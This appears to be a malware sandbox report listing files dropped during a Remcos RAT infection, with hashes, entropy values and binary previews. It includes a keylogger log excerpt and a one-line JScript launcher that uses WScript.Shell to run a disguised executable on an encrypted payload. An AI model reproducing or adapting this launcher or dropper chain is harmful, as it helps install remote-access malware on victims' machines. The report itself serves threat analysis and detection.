Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
File Type:	data
Category:	dropped
Size (bytes):	224
Entropy (8bit):	3.419304580619056
Encrypted:	false
SSDEEP:	3:rglswxLFMlwfU5JWRal2Jl+7R0DAlBG45klovDl65lQWluEkiEW/ufWPlgMlRQln:Mlsy+x5YcIeeDAlOWA7DxbN2fBMMm0v
MD5:	E9348C25A707DDA85032AEAF8681327A
SHA1:	8934FA1D3CC9B8AE3208200636B5DFB7F572305F
SHA-256:	5A422217B9F28DD97B8F2082FBC65F2CDEC76583B36BAA9A0220952D1CCDD4F6
SHA-512:	F196FABAD8A5909101AC5FF3F78B9B02B2518221A1AAA4CB31C5E7EAF7A136B7151E5C26EE748E4C6DF4E7267CC59D7F684344409BB242711F5F034135780238
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.5./.0.1./.0.7. .0.4.:.1.5.:.3.5. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........{. .U.s.e.r. .h.a.s. .b.e.e.n. .i.d.l.e. .f.o.r. .0. .m.i.n.u.t.e.s. .}.....

C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: c2.hta, Detection: malicious, Browse Filename: installer_1.05_36.8.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: DansMinistrie.exe, Detection: malicious, Browse Filename: installer_1.05_36.7.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.78448241770474
Encrypted:	false
SSDEEP:	6:RiOnJHonwWDaJ0/hJkDHLFkNx5AW9GfwWDaJ0/hJkDHLFkNx57:YIQjW0hiF+/dG7W0hiF+/7
MD5:	9B88C78D6B81D1F27AD35770C174B03D
SHA1:	3DB685EB37D2CEB018CD6800C960104F32B53604
SHA-256:	F52D71B4F35F03A0275C5A80889CD1C2F0D8936ED3D43051C70528DAB2C5768C
SHA-512:	8F3D0F6282CB5F2D7D9A0F746B28876BA4B24444E54B7013EBA0592041220EF28B315B6505C1AF965B692BC678968B4F2B72C82527E88C79E8A094FB76E039D9
Malicious:	true
Preview:	new ActiveXObject("W"+"script.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\ConnectWare Technologies Ltd\\LinkHub.com\" \"C:\\Users\\user\\AppData\\Local\\ConnectWare Technologies Ltd\\y\"")

C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y

Process:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
File Type:	data
Category:	dropped
Size (bytes):	702975
Entropy (8bit):	7.9996899596807305
Encrypted:	true
SSDEEP:	12288:7oJEXO+WtgpSKS6G4epnMRNutIPcIyuSvcmeeVURApKFWRR51vR0pGlh7e7:wE++WKUsGqcIyuSkeVURAw2JvRmGlh7c
MD5:	40320097845035E71C88A2796F2F751B
SHA1:	C6002D6BEC7322277FE88154FDE0829C8A8E2762
SHA-256:	62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946
SHA-512:	57780D293AE512BBCF53F13AFF29851C9A94A4F7ED1D51654CEDD06A6089D80AAEDCCF68F7CC5D3B37659E77AD3058EC72AE8CCB18BBD7478C5FB06F93776074
Malicious:	false
Preview:	....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h\|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.........,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...\|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{\|.8.L.o;,.V...vC...B.p.X(T%..q..T..z..........M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[..I...?.v.tfJ..9....+..J.....g.....g.WK.....\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: c2.hta, Detection: malicious, Browse Filename: installer_1.05_36.8.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: DansMinistrie.exe, Detection: malicious, Browse Filename: installer_1.05_36.7.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\U

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	702975
Entropy (8bit):	7.9996899596807305
Encrypted:	true
SSDEEP:	12288:7oJEXO+WtgpSKS6G4epnMRNutIPcIyuSvcmeeVURApKFWRR51vR0pGlh7e7:wE++WKUsGqcIyuSkeVURAw2JvRmGlh7c
MD5:	40320097845035E71C88A2796F2F751B
SHA1:	C6002D6BEC7322277FE88154FDE0829C8A8E2762
SHA-256:	62BD76A99BCD9EAE526C4A6D147C02832138A6AA1D38559DB20174F74D806946
SHA-512:	57780D293AE512BBCF53F13AFF29851C9A94A4F7ED1D51654CEDD06A6089D80AAEDCCF68F7CC5D3B37659E77AD3058EC72AE8CCB18BBD7478C5FB06F93776074
Malicious:	false
Preview:	....].Z...%.o....."7.;?..F.....x..=.[......F..&.P.P.f.1.xi$!..H..9..d$...E<.....t.3...........adW2.P.),CG.!f9.x:.."l..C'.......i.......;R........7...m.`..X.mH..T..].Te..c6...........E..u....8..k.#.ac...)..E.N:....B.NX..l..e.."...ytLW.;T.b./w...1TI)..<z."LH%+....R...N..v2...A.s...~.&=..4.....p..,.[v..#..F..-..._.. G,......HA.X.T...U.O[..J...h\|...qX.....i.[a+X........Z..Q..........'Y...J."..:........W.m...e..+....?8/.z.._.........,.N....r.V/Q..N.z14.9....I..B... .S.7...."...'AC..)........Y.]^%r.TPd..k...'b..d.B.:.3.tX4..o%.p ...wNG2^/..i.>..E...^m...\|X...RY.BI.q0.......Kdz.....-.l..b....].y..'..j.C...>...>0.0.[.!.xSk..;7V.......%.O..P...C...'O.sjT..,.S..'-.f..t6.'s.N.Z.^.{\|.8.L.o;,.V...vC...B.p.X(T%..q..T..z..........M.2.....?.MF.........sJ...8.....fp.\....^......."...6 ..Mw... k..v-.....B..$....E.ndEc...."...%...Swiltb....R.....^M../.........@6$c}.K..gp.R.O....s..E.$.d...r;....k.gdK2.(IG[..I...?.v.tfJ..9....+..J.....g.....g.WK.....\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Approaches

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	Microsoft Cabinet archive data, 488285 bytes, 11 files, at 0x2c +A "Instantly" +A "Dressing", ID 8829, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	488285
Entropy (8bit):	7.998550946105718
Encrypted:	true
SSDEEP:	12288:GtaS7z1F+D7f32HLxjQ8IeOFg8CAINNtUcfgBTG12Zqc:+aS7zqDcLxk8Ie5ZNN6cQqwZqc
MD5:	7A07DED0E02828AA5F3CFBAD5642C558
SHA1:	166EAD6F90D79790E559C7CB19BC2588E6EDBAE1
SHA-256:	2089D963BDAD621F966AC18E371FBF4BDD2E94CFA1841142EDF317E4B971F28B
SHA-512:	9DA78695AC581646ADBA790FBBFEE3E2E26DA4F60C75FCABCF11D30E06054D59C6E3A764B4828EEBC6592E7FE5255BF1778AE1A8877D60E1A45C971B9D2586D6
Malicious:	false
Preview:	MSCF....]s......,...............}"..<........`........'Z.% .Instantly......`....'Z.% .Dressing......x....'Z.% .Measurement..$...\|....'Z.% .Indonesia..@.......'Z.% .Led...........'Z.% .Different...........'Z.% .Missed...........'Z.% .Clinton..\|........'Z.% .Brian..........'Z.% .Protocol..4..]@....'Z.% .Constitute...b..K..CK...\|...0>..,.Y1.......ltA.K$.l.H.....[..>.....'[..n...Zk...>..m..Uw...~..Jb..E..DX>.l d.s..n....y...~.s?.=..{.=..s........[.Fwm.g..\OR..q.l'..>.G...\|..r.s9..p...>..[.B.\....e.99"..ub...x......i(.r.........S2.)..3.8.xXl........o#..YE.(...%...7Z.N.....\|.F.f..l..H.b...KI..1..mm.3.B.V....x.V..{..f..p.Z....V[%.T.....r......^.S@w.#..r...lQ.&b?P..Y.]MN~(.b.Ja........-..1..T.m...\v...v...>.......0...a.K.X.X..ib.I..#q.....K....."...).4...d..F.,....62>.X.e.7....7..i..[.(....[.5..m..Y#"....."~.9xz..S.....j..i.][7NU...2k..__...\|uL.....M..Y..rP..7.....F..Q......B$.O...ZO.]n.U..n..z..;Jj..H...Q...G/K..+c.MEj.l..j....Jl..[l..\|.~.....f..>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Beam

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.997420919125293
Encrypted:	true
SSDEEP:	1536:mPM2IWHYOOcbdpzCNBSD2XTn32zuIcRgk64wnWEi8o:mP5THh5b3+n32zo64Ao
MD5:	18E13DD846278DD017E9BDD8322ACF0E
SHA1:	431DDC2AF8197F887CF7E9B5346792FDBF0F07E3
SHA-256:	4784DDD355896DE73BCCCDB7D0AFD69D6376ADE1F3A22B18BFDA58EB4DFB0744
SHA-512:	005CBE957E2FE900299A82168D0CEB4FF9A89FE82B407103A7DA34BED1C0F12CF22850080D2EB22FAD5A0BAC7813696103BAFCA6735FB31223BEFFF0697CCE2F
Malicious:	false
Preview:	.w..+..h}...X.M....N..h.y.......>...e......pD..{..S....u....8...!.9.....Q.G..rB...d.._..q.~...}8.../.CW.E.`.......c.}..x...M..H..,Mk...N..K......G.>..F.Ru....-....9.Y...q...3$.iN.!.\|.g...n...k..W.i..g..J.L.....P.....F'{6}.i.<,a}..i.....]"......y.yi.+..C..-^j....T.6..j.5..f..&..DN4.$B.i.&..#..K..d......."...."U...r...Qm..V....6....e.....X.vw...I..B<ei....}.>l._,......H.kq.5...........{.QT.Z'.dF[...fkMH$V%....K....y.M..b.G....lv.....>.q..n...-..D7;F~...Ix..AL.5.}......0..9X..w.I...o..\...a.<..a&<...t(.iz.?.N...mx.o...O.b.}5G.~.c.#.....==...O..RY......o..]...G?=.<.;...N.^.E.2.3....=...XC.6..XC.)H<......4.?>\...Ng...C.vHLv<..A..u.p-qs.G)z.8\|.s.<V.._..6.`.^..#.^..._o...4..^h....!"&I...>....b...'.=I(.'e..!..Z..R1;..3A..F/.Jwr.GcX*GO?.t...f^1G...cF..@.iC.U.8.#..$..p......e2....U..j.c....q..V.rL....xf...F..X85.5.L#K.T.s..a.c`......z_.Y..9E.6......>...x2...=.d..`...^.U.p~..n.U.#........S.BY..n/........]..M....1...J8..%.:..l..s.8...\....J...D.y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Blocked

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.9982174281872025
Encrypted:	true
SSDEEP:	3072:tYj0CGgXe/2IS6hnqS2WONlLUDBt7itJs6g:tYVG4ehSOnMWONlY9t7itJQ
MD5:	99A9AA7C4197C9FA2B465011F162397E
SHA1:	F4501935D473209F9D6312E03E71B65271D709E4
SHA-256:	6196D79DC188E3581F8446637CF77E8E9105000E7A8A8135213F750D9BC65EB0
SHA-512:	03EF41FC61EC810C788252EEDCDC7C2616A55C2CF0996F830DAB1A60982589360CAD7C71B76A199A94DE0337BD068AC1A7A6503CE67CC091BAF1C6C6758B01F5
Malicious:	false
Preview:	4t....d+.R..f[.V....3@.....L?/.'.D.."........I..6..q..AC..CK.W.xjt[.:.....m>..PWV.l......BQ.H.x.xw..,?..S..$.. .. y..........do....R.a..Hn...N.x..I.R.j.1.D..`..L.D.`x4.....`v.. .q...D.b......J.{.6\|..m.......k.!.7.4.Z%.............(...O/.'".A.H..{r(.Z.$.......-......ZXo.ts.r.......i..~Y.w.l..aS....lv.DI?g{'Z..J.Sq.s.......>OB..-.#k.t...M.Y@~x. .C0.h...C.6O...5.K2!0.Z..+.@F.T...{k.U...S....u.n]...M.7S.....[..;.D..o.....t...H.&.c.2.7...%...".&].2....@......Q...YZ.d.P...r\.;...e......b(.....Xc.8...h....k....O..p.i.@$..q..k8....3...:....&@)x.....j....c.k.x.$9,.0..".....v......Q.d..?cW..&mmw.g..U`.....R7..P..^..1.f.Mb......?...^....6.v..P...K...j.`f.I.?..lJ6.F...q..{.}..C......@.L.w....k.Au....@V.x..{l,.%)....>...i.y.b.....5.G[....n....i.G...a.....".A...h.!6+../....P.....L...>".Y.0....q.39.P..!bj...da.#e......-.U....h...mh.+..V.}....<./....F.dw...,.l......j5...B<..30.,...W.m#].F.O..FLP.d..:.....L..~F0e..j.zq..)p(h...R...}p.B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Brian

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	5.234350627932401
Encrypted:	false
SSDEEP:	768:Jx/SGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R:JdKaj6iTcPAsAhxjgarB
MD5:	031B6C0EDF7E1DD8ACF9700CC96085D7
SHA1:	0819EC14EBC323A9507E52A0579F6F9BA1589C3D
SHA-256:	7FA45FC5F2F9C52E289D56F5AF6B95427EDC979A838608DC20CB4D89C7078553
SHA-512:	75577FEEB70AF3025A021FB8DD3FC52B56AC9EC7CE7B0BB24E2970CA3626A0B96984ADB7874AE5608C9A739BC46E5C2207C98B2CB0C40925B2D95B7A2969A7BA
Malicious:	false
Preview:	?.?.?.?.?.?.?.?.?.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.@.r.r.r.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.A.A.A.A.A.A.A.A.A.A.r.r.r.r.r.r.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.B.r.r.r.r.r.r.r.r.r.r.r.C.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.D.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Clinton

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	4.910075425726921
Encrypted:	false
SSDEEP:	768:FOWel3EYr8qcDP8WBosd0bHazf0Tye4Ur2+3:F5el3EYrDWyu0uZo2+3
MD5:	2BC25537976C2E146EBED51446CE7B59
SHA1:	0EBD76401729D4F1B9B4DCAB1586D96CD410A1D2
SHA-256:	F01BA73C4332997F031434DDA3EBBFE03EE70F9BE65275ABEEDE452E148B94E7
SHA-512:	7BA4AEA3D8836216CDFB4B27EC7AF041BF9EDB5A0DEA8BEECE8C7950BC9BC793B12F7E7C1A0B4EA6E0194A1211CACBFB06204E68689E0DA3E895BE8518572A80
Malicious:	false
Preview:	................................................................................PST.............................................................PDT............................................................. .L.`.L.....................................`.y.!...............................@~............. ...............................@.............. ...............................A.................[.........................@~......Q...Q.^. ._.j.2.........................1~........................................................................................................ .............................................................................................................................................................................................................abcdefghijklmnopqrstuvwxyz......ABCDEFGHIJKLMNOPQRSTUVWXYZ.............................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Cocks

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	7.997164994069138
Encrypted:	true
SSDEEP:	1536:bdM1aIyizRac/AX9Cslc7g63p8ueagJNvZoNoWRY6Du/FI84:ZVIyQ/o91658ueaa2PS/FIj
MD5:	990ABD973C6DDB75837EEB5B21F59AE1
SHA1:	85846C0CE7CD3314DEC32E3BED99511A59B6500A
SHA-256:	29B9FA04343B577FFB55491F820A6D1978230072AE4752AD42836CF0581CD5E2
SHA-512:	179561473340EB92A5BCAFE243217D9C8158572239294DDF45CB0FBDEF0EBAE1B07863C631CE7BFB983F65F627268300812EB38AAABCBA3CFF90F5D014C06754
Malicious:	false
Preview:	.Zhz.&..N.......B.z..si.....u...4A[.F.A.$...O..Y....]..3&M.p%.?.>Z..O.q..$X...KuS.a.C.....(J..#.f...k.c...0..o0.L..,..2k.Lc.x."........0...X...Q..Ix...Ep...yw..1...V.~........h\pK3m ........(h..\|.gp....@..:.O.K.....(...v..s.{.{..wz..].fh..j.8}}..F95..T...pX.............)j?.....%.Q"....{.#}..,dz......]d%..... .K..z#..{C.B......Z.....j{.u;..Yhl...[...T.80.y<dc.2IHG..8......1..x.....pF.%. ....f5>.CT7.}.."....<...4E.k.m.......o.....\G.y.WK[\|.."}...E...../.$.......d.\|..X.-^.d.F"..".W..(..<.........HQ............M!c......?Z32.>.$.._.yR...\.-.=O.p.x...y.z.E...._.a/6..Q...3...QG..P.kQ2...FU.!$.)..ve.......N...B..j.{..`...Q.t ..;.\.J!O F.3..o1U....*.4gJ.U.N....x.I 9C3..V....Z.../..u.",.J.q..Q'l.o...h ....V>m...d..._.d...V..-.H..H..Pw....M...b.-9...cgV.b..._...D.a....x.V....y^..Yaq...#......-"q....0v7.dB....T.!.........d,.)u.....Y...P^.p....]sX.(."..A.ky1..SFK..G..G^.p..#.8c.q.....~....{.d..b......l..o...Q......l..G.g.t9}....Q....`...KX.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Constitute

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	144384
Entropy (8bit):	6.494296209067955
Encrypted:	false
SSDEEP:	3072:5dgQa8Bp/LxyA3laW2UDQWf05mjccBiqXvpgF4qv+32eOyKODOSpQw:LgQaE/loUDtf0accB3gBmmLsiS+w
MD5:	57BB8B206C43DDE57D7066A4DEDB272C
SHA1:	E3B400206A6D3C7C5885CB56BFCAB82220BB110A
SHA-256:	821735E47ECA9D213B65D12878DCA3D3EC620B5FE0555F0BD3B73EEE459A6D4F
SHA-512:	C5E0C68E27CFC9705178C261FC617EAC27D745CDF93F88D01A49D3025AD7025038FB8DB5FA36D96089D4410BB965E9163282A99A0D6EAE40ED6783AF6C5BD074
Malicious:	false
Preview:	..F...................E....;E...MN..;...EN.........H......T...$.PA........x...........U...E.....M...E.....;E...NK..;...FK.........[.......v.......[..h.........O.......W....O...............................O...7...........%....v..0...Hj....~.............F..F.@....#O........3.F...............Q.w....N.....E...M....Q.6P.s....M...............G..X........[............S........S............S........R.......w....R........R.......d............v..........R...7...........F............_^3.[..]........BN.......W...<N...........=.....................2.....F........H..........$.xA....c.......Z...;...\|....N......u........P..................S.......A..$..A......V.......1....7........u...S...l....q...........h....$..A....N...V...]....M...H..........$..A.....f...s..].....f...C.j..v..6.p..0.j.......................................+..M......+....M..E....u....;...AJ..;...9J...}....T......Vf...v....Lf...C.j..v..6.p..0........'........Q......F..........Q......F.........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\David

Process:	C:\Users\user\Desktop\RailProvides_nopump.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	7.996610067500435
Encrypted:	true
SSDEEP:	1536:Uq7NUVrVpkmRwRjr3psvmpMfmPO6rpciGjMzjM:UKNUVrkRRGm1PO6mj4M
MD5:	583A66DF71B30CE556F3F5131162AA1C
SHA1:	0594EF5DF9510410B520282D9C833D604969865A
SHA-256:	83A055C80F22D870C163A6ABC49664C8A9F8D14CB9CDB11DFBCB70AD72191D4C
SHA-512:	3939472BA5061896D4F8E0F1F97ED34B52D32F5D27DA41FC5C92EF73653482102349AF607F327B15B13FD208C970B95DBB3B714332FF1D58CFDFF25C0C1C4C3A
Malicious:	false
Preview:	J.....9.b......h....=<.5}.^U....}./.L.k6nz....Q..7z3.c..... 2..b8..c.a...C.....2y.(.0..-...S....8....o,.T.&.c..G. .....q.B..Sf..........M....m.A\|..S.N.:....?0R....$:...........q.q.!.F....T..h.....d.s...fR.+\1.[+o.;u..u..{g<.......4.f..w..-..._.Q....yT.<L..h.G.j...._@.9c;sT.....<...-k.1..NW....1q..?.KZ...u.........{?....?..pl.-...\|..O,f)q.oZ.=....G..2..5,q.\.......H%..+......N..Z...h.......t.{.m..6.d....3.Y..9........w...e.\";.;.!...S..[...........t.;..Ek.c_`....+."...Q._?[.1 ..d...]....6..Y.v.qh...Ss!...v.$..H........f.....?.a.\..R.-.w....b.1..g..yJL...)...AJ.>JYl:.[m....{^...<.G..M.4A.W...J..yd.Y..s....V..V.p..d...r..`....p..S.@.p..c.M....."D~.J.C.].R...j......J..F.o.s#...Nq..V...`..t/........v.p2B.Z*6....=.A...4S,...R.e...F.6..e.Q.y.>..O...e.%..~....tj....\|.e.$.j9%.[[..x9w.G..g.`.....^.p.I.f......k.4....%..9....nnz...3_fy..\|..a..@6.C.,.P.....V...d..P..Fn.. ...B....Zs....inB<...&..5c....B...w)S.....E@2..%....b.l-.l

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Different

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	6.548010857173451
Encrypted:	false
SSDEEP:	1536:V1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYhWoXElJUzdz:VZg5PXPeiR6MKkjGWoUlJU5
MD5:	56BB83409EE3E1A9DDF64E5364CBAAF6
SHA1:	C3DA7B105A8C389BE6381804CB96BB0461476E39
SHA-256:	D76B1AAACC225CD854E0EC33C5268C02824EE4A1120B5217916C24D23E249696
SHA-512:	59D1D8C1C613F89CBAA8B5C242CEA4889BA8F8B423D66598C5ED3A26FD82752A9CA0742C1ED932B3A1FBEDB5B8701AB6321C35E9DDE5A801625350CFF7990AC6
Malicious:	false
Preview:	U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Dressing

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	137216
Entropy (8bit):	6.481339286025911
Encrypted:	false
SSDEEP:	3072:npIbv18mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTqI:IphfhnvO5bLezWWt/Dd314V14ZgP08
MD5:	1CB233987779B587705687B7D8F66A01
SHA1:	5F33D543C24701D370072BB4E77E4A8D058AE035
SHA-256:	48A4A6FD51F6F62D3E814BCF14891ACE7D7813C90BE50D6B133FBEFF21B9E137
SHA-512:	56DF98EC38109FB121D69D84140EFFC81F0EEF25BFB48C25D23EF5C45C274A5DC4015DBFDB63616530F804896B9F19788AAE60BFCCBC43292F113E2EC82350F6
Malicious:	false
